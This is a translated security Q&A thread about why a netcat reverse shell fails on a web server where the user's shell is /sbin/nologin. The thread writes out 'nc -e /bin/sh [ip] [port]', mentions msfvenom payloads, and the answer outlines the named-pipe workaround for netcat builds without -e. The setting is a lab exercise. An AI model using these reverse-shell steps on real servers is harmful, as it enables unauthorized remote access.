¿Tener / sbin / nologin significa que no puedo iniciar el ejecutable / bin / sh?

0

Mientras practicaba la explotación en un laboratorio, conseguí la capacidad de ejecutar código php que me permitía ejecutar comandos del sistema a través de shell_exec en un servidor web. El usuario de apache tiene /sbin/nologin asignado como su shell.
He intentado usar el comando nc -e /bin/sh [ip] [port] pero falla. Usando netcat sin iniciar una shell, sin embargo, tiene éxito. Asumí que esto se debía a que tener el shell configurado en /no/login significa que no puedo iniciarlo. Sin embargo, si utilizo un ejecutable que realiza execve("/bin/sh") como los que se encuentran en los ejecutables de carga útil de msfvenom, tiene éxito.

Otra razón por la que asumí que el shell nologin no permite que un usuario inicie un shell interactivo es porque el intento del shell inverso netcat con un usuario que tiene /bin/sh configurado como su shell se realiza correctamente. Estoy confundido con la fase en la que se inicia la verificación de los permisos para iniciar un shell porque todavía puedo iniciarlo a través de ejecutables binarios.

    
pregunta MykelXIII 31.07.2016 - 11:10
fuente

1 respuesta

0

Probablemente, su problema no tiene nada que ver con el shell de inicio de sesión. Tener una versión de nc que admita la opción -e es una gran excepción. La mayoría de los netcats no admiten -e. Este artículo explica lo que debe hacer en este caso. Tienes que dividir la creación de shell en 2 partes, primero creas una tubería con

mknod /tmp/mypipe p

y luego creas la shell redireccionando stdin y stdout a la canalización y por lo tanto a nc.

    
respondido por el kaidentity 02.08.2016 - 08:27
fuente

Lea otras preguntas en las etiquetas